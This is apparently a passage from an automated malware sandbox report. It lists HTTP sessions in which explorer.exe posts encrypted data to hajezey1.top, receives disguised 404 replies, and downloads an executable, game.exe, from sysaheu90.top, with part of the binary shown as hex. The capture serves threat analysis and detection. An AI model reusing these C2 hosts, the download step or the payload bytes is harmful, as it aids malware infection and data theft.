Oct 29, 2021 20:29:57.268771887 CEST	5746	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 3b b5 c2 73 Data Ascii: 7v:7AFTmwmwu$f]d;s8rc6;+!$[/\6~QJG#,u]{+d\M(^Ynva:kG]%M`g0P[!?KvV8dfy!'Vl62
Oct 29, 2021 20:29:57.346498966 CEST	5747	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 f5 66 3c 3d d8 bf cb 67 5c d8 97 24 c8 b9 fc f0 d4 e8 57 2d a6 a1 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 f5 51 cf 3b c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 27 1d 02 a1 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 81 f5 97 d4 78 2b 2c 62 98 ed 24 c6 ff c5 d4 d9 49 0a 8a 10 c4 44 b9 97 c4 fa be a8 48 96 9e 9b 55 1a f6 de e8 d0 9b 92 17 7d 69 05 79 4a 09 9f 3c bf 00 62 4b 65 fb 80 ab 5b 87 80 39 cd bb 78 96 64 a4 a4 a2 41 45 e8 03 ff 0e 4d e2 d0 97 23 3b 5e 04 e8 5a 9a 14 7a 59 92 17 7e d6 70 82 ba 4b 96 7e bb ee 1f 38 33 d5 53 6f 27 88 32 e7 ce 85 b9 9b 3b 22 2f d9 3d ff 24 3c 78 92 93 78 f9 7e 21 86 a5 ec 34 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/arR`g1Q5ih.Kw:i/+".]pW!RYyM]O_[3_JTO))gxr?\|^c[FXB$H)t\|;fKMXKw[Ge)29E"\|ay6N}o7=Up,Kk"HI?m\|6NI^LdU[0z_$U5=PoV`GZdQJVTq5dIvy'$X9:-C'GrPmR`#>[qJ8-,sqK0Z"?+Qz`KJMQAd'\#&Q#2YBA@=C/fGB%4VF>"7"~K6*!?eti6'NGc:HNDZOJW%bJ}Tzl9\@d=V:"}bP1&@N!;KnGAcWJ`_ng";kz{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;g&9c0{2%#49FwX?,SC"vddOU^=i=p.oj"?Gqf<=g\$W-{i[6dsQ;}p5CP'(A59x+,b$IDHU}iyJ<bKe[9xdAEM#;^ZzY~pK~83So'2;"/=$<xx~!4
Oct 29, 2021 20:29:57.346551895 CEST	5749	IN	Data Raw: b8 63 51 46 61 c6 bc 08 32 d3 a0 94 71 08 70 10 6f c4 f9 6e f3 be 99 ec 03 d0 b3 5a 06 42 3c 5e 9d 94 34 5f 44 41 cb 56 06 8c 60 3e 9f 6d f7 e2 cb 35 85 0f a4 36 dd 15 3d 76 07 b9 dc c8 b3 00 72 5d 1d 96 38 e9 82 c6 57 57 32 e8 88 38 20 33 b6 55 Data Ascii: cQFa2qponZB<^4_DAV`>m56=vr]8WW28 3UZQeD3>2d4j_),u<fT.GP$K]wJwfB<U~>F_:sg\SD[.(`%u!2f&T>UP},H?03/ZH/
Oct 29, 2021 20:29:57.346590042 CEST	5750	IN	Data Raw: 47 72 d4 90 45 d6 61 88 d2 8c fa a4 c6 39 f6 d0 f6 a4 6d cb 7d 7b df 3e d4 59 23 7c fe b7 91 a0 5f a8 11 94 59 5a 4c 5f 09 c9 b8 dc ef 27 2c b8 c8 7c 67 9e 18 fa 77 2f fc ec 28 ee ca 9e 96 77 87 62 b2 2a 0f ac 86 cd da a8 92 13 ff 6c cd c2 cb 98 Data Ascii: GrEa9m}{>Y#\|_YZL_',\|gw/(wblc89-L4Yx}2n8o]C6N(t[-5a2}].'ZOR>}J5ZDs/_k s1A1oz@rG7:RSm=M
Oct 29, 2021 20:29:57.346630096 CEST	5752	IN	Data Raw: e6 da 97 3c e3 86 67 07 6d 99 38 83 49 9b 90 8d 47 e3 77 40 fb 85 72 4b 30 80 6f ce c1 a7 db 09 ba 10 eb b8 cd fc 38 17 cd b2 b3 fd 67 6c a8 88 5a 20 3d 9e 68 a6 6f 69 ba 7a bb 6a f2 1c db da e9 f1 0a 6f 26 04 10 78 eb dd e1 2b 98 b4 b9 8d 4b 47 Data Ascii: <gm8IGw@rK0o8glZ =hoizjo&x+KGR1v!8I$FIWO0g:/"zSz)%p^{-n@vl[$>V0FFJWz*h! #<<Id,b)7ldG( 0M
Oct 29, 2021 20:29:57.346669912 CEST	5753	IN	Data Raw: e0 66 73 73 6b 6e 3c 51 7e 2f a2 47 87 77 2a 13 c0 f7 32 ee b6 7b c7 dd f0 48 59 78 c6 87 46 3c a1 b5 97 29 ef 31 ce d5 fe a9 fd a2 20 40 71 94 97 8b 03 68 7d bf 5e d9 0b e5 09 21 bc 16 ab 3e 71 b2 b0 07 41 7e 6d 7b cc 52 37 0e bf 0c a7 ec 21 92 Data Ascii: fsskn<Q~/Gw2{HYxF<)1 @qh}^!>qA~m{R7!d+;uDjY`\|QM{ar(j$]xx/b)26NQQ+$?,cf`pcu?P]2O>'8$ ?V?k [y,07G#}x{(;vxf&;
Oct 29, 2021 20:29:57.346707106 CEST	5754	IN	Data Raw: 68 18 ed 37 91 e3 fe cc a7 89 f6 52 e0 09 d2 99 9c fe 3c fa e4 ce 8d c3 5e 3f dc 5f f4 4e c2 8f b6 c6 3e 29 67 27 f8 ea ca 3a 48 d8 13 cf 85 1e 1f a7 9b 49 2c 8e 79 39 aa 10 2e 3c 00 c3 ae 5a cc ec cf 09 d1 f9 b0 b6 be db f9 6b 18 29 ef 77 ee 40 Data Ascii: h7R<^?_N>)g':HI,y9.<Zk)w@WxfKXghJ.IQ9Mb4Z.tBl+ ;Q,<l'v$9gSd3Xl'Ss6r uIs rb7v0mK<lYW2VtRk8`fk?NIs_
Oct 29, 2021 20:29:57.346745968 CEST	5756	IN	Data Raw: 81 74 d0 8a 79 65 0d a5 79 61 3a ff 2d 1b f1 9a 4a d7 73 af 46 7f 2c dc 01 08 4a 18 8f f1 d8 45 49 04 71 56 e3 65 e7 4d ca fc eb 57 53 dd a7 1c 71 06 26 46 be b7 a3 6a 36 af cf 43 90 69 91 2c dd 08 ca 1c c9 a5 5d de 55 8c ac d2 e5 1d a7 ec 0b f5 Data Ascii: tyeya:-JsF,JEIqVeMWSq&Fj6Ci,]Uds~A bn4De$gQPO .g2>mXL/O8[n:H/62W>}%b[5vW2000I(UGlRFOD\V9;g(jb
Oct 29, 2021 20:29:57.346785069 CEST	5757	IN	Data Raw: 9a 3d a2 82 c6 09 0c 9e 88 f6 1a 71 c8 fa 7d 19 32 93 7f 93 9a 6d 2b a6 32 96 36 0a cb 0b 6e 5b 7f 75 95 52 4e 35 97 b2 23 66 43 64 3b 92 f6 52 9b b7 bf 04 ae ed 5e 16 fe c5 2e 07 66 fc ed 1c 1a fd f2 7f e1 f5 f6 5d 47 65 1d f6 3e 7a a4 a2 6e a1 Data Ascii: =q}2m+26n[uRN5#fCd;R^.f]Ge>znLm:k)z\|t=%a#U(kk'w8Zi.l;s'\PQ.u,L]+eP6Ep-G9XPJg6Y*"uBPj1tIZMT+&
Oct 29, 2021 20:29:57.346823931 CEST	5758	IN	Data Raw: c3 18 52 9a 35 d2 03 6f e2 95 a8 3d ac 2b 96 0e 56 5c 20 f2 9d 42 88 7b 9d 99 d4 e9 46 f0 33 36 28 7a 06 2f ae 63 ed 1a e0 5e 98 d9 a8 6c 87 53 08 85 db 2a 34 ad 84 e2 8d 6e c4 2a 80 70 4e d0 9d 76 be 1e 53 c6 49 b1 71 64 cc 36 05 4f bd 2a b7 1f Data Ascii: R5o=+V\ B{F36(z/c^lS4npNvSIqd6O*O6oXY)a_/F?>E~8-cY1$j5g-&Jw2E>!lgfl1%OV\eILqm=G2rh`F~gvhXz/n>'o8
Oct 29, 2021 20:29:57.346863031 CEST	5760	IN	Data Raw: d5 cd b1 71 96 38 ad db 7f 85 46 70 77 e1 73 0b d7 12 27 69 f4 55 ed be 1e ec ae 4f 1d c7 b8 15 a4 99 73 cd c2 c5 d0 fb ba 07 8f 02 b5 41 ab 11 cb df 7a 91 0d ce 18 be 62 8a 2d d3 18 33 12 9f 07 02 bb b8 18 67 35 56 12 da eb 6a 74 e8 54 98 68 00 Data Ascii: q8Fpws'iUOsAzb-3g5VjtThYMYa49bW=XO6NDu"tU.RiMr.FN,Zgpb\QJ:,;P6[< 1>\7^P2\|f5RHo#<R<k6K
Oct 29, 2021 20:29:57.398899078 CEST	5761	IN	Data Raw: 2a 2b da a6 ae 48 76 82 50 85 bc 38 11 ec 52 d0 13 59 e7 e0 93 89 ea 3f 18 5e 99 de 73 ca c6 68 66 25 72 47 85 b7 72 79 50 b7 e7 c6 8e 0e 18 9a ea ee e7 5f e5 d3 d6 e0 65 94 2e f3 e3 af 6d b5 08 6d 0a 3f f7 3c 0a f6 74 40 ae 46 a2 c9 08 b0 63 9a Data Ascii: *+HvP8RY?^shf%rGryP_e.mm?<t@Fc[nIy<N[$%?1+6rxE3pw>=xTX#5R.%1E`#,3&5@KU Hjam5{I%oZ:my(y7~:B;2'3#.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49791	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:59.928647041 CEST	6107	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://chucxho.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 365 Host: hajezey1.top
Oct 29, 2021 20:29:59.928666115 CEST	6107	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8a 66 5d 02 c9 a1 c1 64 11 97 b9 0e Data Ascii: 7v:7AFTmwmwu$f]dNh+~H,(_,`sy:},HxAx)U~XO\]\|kJ.mn+<2hS\OsY/QpVSW.>J:Y{UV]T`X]C
Oct 29, 2021 20:30:00.007153034 CEST	6108	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49792	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:00.368861914 CEST	6109	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://futucrxk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 136 Host: hajezey1.top
Oct 29, 2021 20:30:00.368868113 CEST	6109	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 3b b9 b7 26 Data Ascii: 7v:7AFTmwmwu$f]d;&+HmW[bZKZCq\|;r;6^V5Q,z)
Oct 29, 2021 20:30:00.448647976 CEST	6109	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49793	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:00.549640894 CEST	6110	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sysaheu90.top
Oct 29, 2021 20:30:00.702553034 CEST	6111	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:30:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 18:29:02 GMT ETag: "92800-5cf820058192d" Accept-Ranges: bytes Content-Length: 600064 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 29 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 50 ac 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 1b 9f 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 aa 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 a5 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 74 6f 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,BtwRichCtwPEL)R_pP@xP@w?w00(@.text `.dataio@.vito0w@.rsrc?@w@@@.reloc"w$@B
Oct 29, 2021 20:30:00.702589989 CEST	6113	IN	Data Raw: d0 ac 07 00 ec ac 07 00 fa ac 07 00 06 ad 07 00 12 ad 07 00 2a ad 07 00 48 ad 07 00 62 ad 07 00 74 ad 07 00 90 ad 07 00 a8 ad 07 00 b6 ad 07 00 ca ad 07 00 d8 ad 07 00 f2 ad 07 00 06 ae 07 00 16 ae 07 00 32 ae 07 00 42 ae 07 00 54 ae 07 00 6c ae Data Ascii: *Hbt2BTl0FVjz"2H`t0BP
Oct 29, 2021 20:30:00.702613115 CEST	6114	IN	Data Raw: 64 00 75 00 72 00 69 00 6e 00 67 00 20 00 6e 00 61 00 74 00 69 00 76 00 65 00 20 00 63 00 6f 00 64 00 65 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 Data Ascii: during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSI
Oct 29, 2021 20:30:00.702634096 CEST	6115	IN	Data Raw: 00 00 00 00 52 00 36 00 30 00 31 00 38 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 68 00 65 00 61 00 70 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 Data Ascii: R6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread
Oct 29, 2021 20:30:00.702653885 CEST	6117	IN	Data Raw: 6d 00 65 00 2c 00 20 00 70 00 72 00 6f 00 67 00 6e 00 61 00 6d 00 65 00 5f 00 73 00 69 00 7a 00 65 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 Data Ascii: me, progname_size, L"<program name unknown>")Runtime Error!Program: wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[
Oct 29, 2021 20:30:00.702702999 CEST	6118	IN	Data Raw: 00 00 00 00 00 42 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 1e e5 3f 00 00 Data Ascii: B???????V?V???????z?z?F?F?????????R?R?$?
Oct 29, 2021 20:30:00.702725887 CEST	6120	IN	Data Raw: 0b ba b6 9d e1 3f 68 a2 a4 85 58 67 2b 3d 00 f8 6f 67 df e6 e1 3f aa 83 b9 81 ba 58 1a 3d 00 bc be d8 b0 30 e2 3f 7b 66 48 6e 06 fc 12 3d 00 3c c9 1e 9e 77 e2 3f 79 9b 35 73 33 52 36 3d 00 1c 84 f9 29 bf e2 3f ec b7 d3 61 38 8a fd 3c 00 0c 4f 34 Data Ascii: ?hXg+=og?X=0?{fHn=<w?y5s3R6=)?a8<O4W?4bV0=L?4@=@?X4=Tk?>_(=?o=@[c?,=$4b?dO"=lx?#608=&m?h"0=l?n6{<9[P
Oct 29, 2021 20:30:00.702745914 CEST	6121	IN	Data Raw: 2d ee bb 3f ad 16 8d 58 5b 46 b4 3c 00 06 c1 2b 90 2e bc 3f 58 8e 20 15 6b 6e e0 3c 00 45 90 d9 f4 6e bc 3f db 54 a9 28 8d 2b e5 3c 00 c6 de 55 5b af bc 3f d6 89 1b d4 06 9c e4 3c 00 27 e7 a4 c3 ef bc 3f 6a 75 21 34 b8 95 a9 3c 00 16 e5 ca 2d 30 Data Ascii: -?X[F<+.?X kn<En?T(+<U[?<'?ju!4<-0?<Qp?<?{<qw?_W<C1?'<I\r?Dc<s>?<w*I?n'$<23?z7<[>t?V-Ai<
Oct 29, 2021 20:30:00.702768087 CEST	6122	IN	Data Raw: 09 3d 00 88 5d c6 b0 13 d1 3f 01 96 a0 9d 36 87 0d 3d 00 6f da 4a 13 56 d1 3f 4a 8e f3 20 b2 62 05 3d 00 27 34 f4 88 98 d1 3f 2f b5 90 74 de 3e e1 3c 00 77 ed 1a 12 db d1 3f 61 eb 60 cc d6 d7 f8 3c 00 a3 5f 18 af 1d d2 3f 1f 61 dd 09 ae 65 07 3d Data Ascii: =]?6=oJV?J b='4?/t><w?a`<_?ae=F``?/f=#&?5SmT4<W?Rz< (?vY<k?pY.=y?8'<KuC?j<{=2<5?d=x?"a=@ic?%[9=
